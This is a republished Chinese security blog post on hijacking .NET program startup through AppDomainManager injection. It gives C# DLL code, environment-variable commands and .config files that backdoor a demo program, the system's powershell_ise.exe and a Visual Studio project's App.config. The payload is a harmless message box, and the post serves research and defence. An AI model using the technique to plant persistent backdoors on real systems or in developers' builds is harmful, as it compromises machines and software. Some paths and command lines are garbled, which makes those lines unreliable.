AppDomainManager后门的实现思路
0x00 前言
從Casey Smith@subTee學(xué)到的一個(gè)技巧:針對.Net程序,通過修改AppDomainManager能夠劫持.Net程序的啟動(dòng)過程。?
如果劫持了系統(tǒng)常見.Net程序如powershell.exe的啟動(dòng)過程,向其添加payload,就能實(shí)現(xiàn)一種被動(dòng)的后門觸發(fā)機(jī)制。
0x01 簡介
本文將要介紹以下內(nèi)容:
劫持自己開發(fā)的.Net程序
劫持系統(tǒng).Net程序powershell_ise.exe
一種針對Visual Studio的利用思路
0x02 相關(guān)概念
CLR:
全稱Common Language Runtime(公共語言運(yùn)行庫),是一個(gè)可由多種編程語言使用的運(yùn)行環(huán)境。
CLR是.NET Framework的主要執(zhí)行引擎,作用之一是監(jiān)視程序的運(yùn)行:
-
在CLR監(jiān)視之下運(yùn)行的程序?qū)儆凇巴泄艿摹?#xff08;managed)代碼
-
不在CLR之下、直接在裸機(jī)上運(yùn)行的應(yīng)用或者組件屬于“非托管的”(unmanaged)的代碼
對于在CLR監(jiān)視之下的程序,程序啟動(dòng)的初始化過程可參考如下鏈接:
http://mattwarren.org/2017/02/07/The-68-things-the-CLR-does-before-executing-a-single-line-of-your-code/
值得注意的地方:
如果能從程序啟動(dòng)的初始化過程中找到一個(gè)可供利用的位置,在程序啟動(dòng)之前加載我們自己的代碼,那么就可以“濫用”CLR的功能,實(shí)現(xiàn)對程序的劫持
更理想的情況下:
如果可被劫持的程序是一個(gè)系統(tǒng)常用程序,隨開機(jī)自啟動(dòng),那么,這個(gè)方法就能作為一個(gè)持續(xù)性后門
下面介紹Casey Smith@subTee分享的后門思路:AppDomainManager
0x03 劫持自己開發(fā)的.Net程序
注:
代碼引用自:http://subt0x10.blogspot.com/2017/06/attacking-clr-appdomainmanager-injection.html
1、編寫示例程序
使用Visual Studio,選擇c#開發(fā)環(huán)境,新建控制臺(tái)應(yīng)用程序,工程名:program,代碼如下:
using?System;public?class?Program {public?static?void?Main(){Console.WriteLine("Inside?the?App");} }編譯生成program.exe
程序運(yùn)行如下圖
2、編寫payload Dll
選擇c#開發(fā)環(huán)境,新建類庫,工程名:DomainManager,代碼如下:
using System;namespace DomainManager
{
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Console.WriteLine("Blah From AppMgr");
}
}
}
編譯生成DomainManager.dll
3、設(shè)置AppDomainManager劫持程序啟動(dòng)
將DomainManager.dll放于同級目錄
方法1:
cmd設(shè)置環(huán)境變量:
set APPDOMAIN_MANAGER_ASM=DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=nullset APPDOMAIN_MANAGER_TYPE=DomainManager.InjectedDomainManager
執(zhí)行program.exe,通過查看回顯,發(fā)現(xiàn)DomainManager.dll先于program.exe執(zhí)行
成功實(shí)現(xiàn)劫持,完整操作如下圖
注:
注意比較執(zhí)行順序
通過cmd設(shè)置環(huán)境變量的方法只會(huì)作用于當(dāng)前cmd,不夠通用
方法2:
更加通用的方法:配置config文件
新建program.exe.config,內(nèi)容如下:
xml version="1.0" encoding="utf-8"<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly
value="DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
</runtime>
</configuration>
注:
config文件命名格式:exe+.config
成功實(shí)現(xiàn)劫持,完整操作如下圖
0x04 劫持系統(tǒng).Net程序powershell_ise.exe
接下來,需要找到可供利用的系統(tǒng).Net程序,嘗試實(shí)現(xiàn)持久性后門
這里選取powershell_ise.exe作為演示
注:
powershell_ise.exe:全稱Windows PowerShell Integrated Scripting Environment(集成腳本環(huán)境)
圖形界面,主要用于編寫和調(diào)試powershell腳本
操作界面如下圖
為了便于演示,我們需要修改工程DomainManager,使其在運(yùn)行時(shí)彈框
1、添加引用
工程-右鍵-添加引用,選擇System.Windows.Forms
如下圖
代碼修改如下:
using System;using System.Windows.Forms;
namespace DomainManager
{
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Console.WriteLine("Blah From AppMgr");
MessageBox.Show("1");
}
}
}
重新編譯生成DomainManager.dll
2、測試
劫持program.exe成功,如下圖
劫持powershell_ise.exe:
(1)?測試test目錄
將powershell_ise.exe復(fù)制到c:test
在同級目錄新建powershell_ise.exe.config,config文件可作適當(dāng)精簡,精簡后的內(nèi)容如下:
xml version="1.0"<configuration>
<startup>
<supportedRuntime version="v4.0" />
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly value="DomainManager" />
</runtime>
</configuration>
在c:test目錄下啟動(dòng)powershell_ise.exe
成功劫持powershell_ise.exe
(2)測試powershell_ise.exe默認(rèn)目錄
路徑如下:
C:WindowsSystem32WindowsPowerShellv1.0
需要管理員權(quán)限,在默認(rèn)目錄創(chuàng)建劫持文件DomainManager.dll和powershell_ise.exe.config
編譯任意powershell腳本,默認(rèn)啟動(dòng)powershell_ise.exe,成功劫持
完整操作如下圖
0x05 一種針對Visual Studio的利用思路
對于Visual Studio的c#工程,在工程目錄下默認(rèn)存在文件App.config,內(nèi)容如下:
xml version="1.0" encoding="utf-8"<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
</configuration>
如果對其修改,添加劫持功能,那么在編譯程序時(shí),也會(huì)同步修改bin目錄下默認(rèn)生成的config文件
App.config修改如下:
xml version="1.0" encoding="utf-8"<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly value="DomainManager" />
</runtime>
</configuration>
編譯程序,bin目錄下的config文件也被修改,如下圖
如果在bin目錄也放置DomainManager.dll,那么在程序啟動(dòng)時(shí)會(huì)被劫持,如下圖
0x06 小結(jié)
本文介紹了一種通過修改AppDomainManager實(shí)現(xiàn)的被動(dòng)后門觸發(fā)機(jī)制,分析了利用思路,站在防御者的角度,只需要留意.Net程序同級目錄下的config文件就好。
原文發(fā)布時(shí)間為:2017年6月18日 本文作者:3gstudent? 本文來自云棲社區(qū)合作伙伴嘶吼,了解相關(guān)信息可以關(guān)注嘶吼網(wǎng)站。 原文鏈接
總結(jié)
以上是生活随笔為你收集整理的AppDomainManager后门的实现思路的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 数字图像处理(冈萨雷斯 第三版)
- 下一篇: 更改微信小程序的基础版本库;更改uni-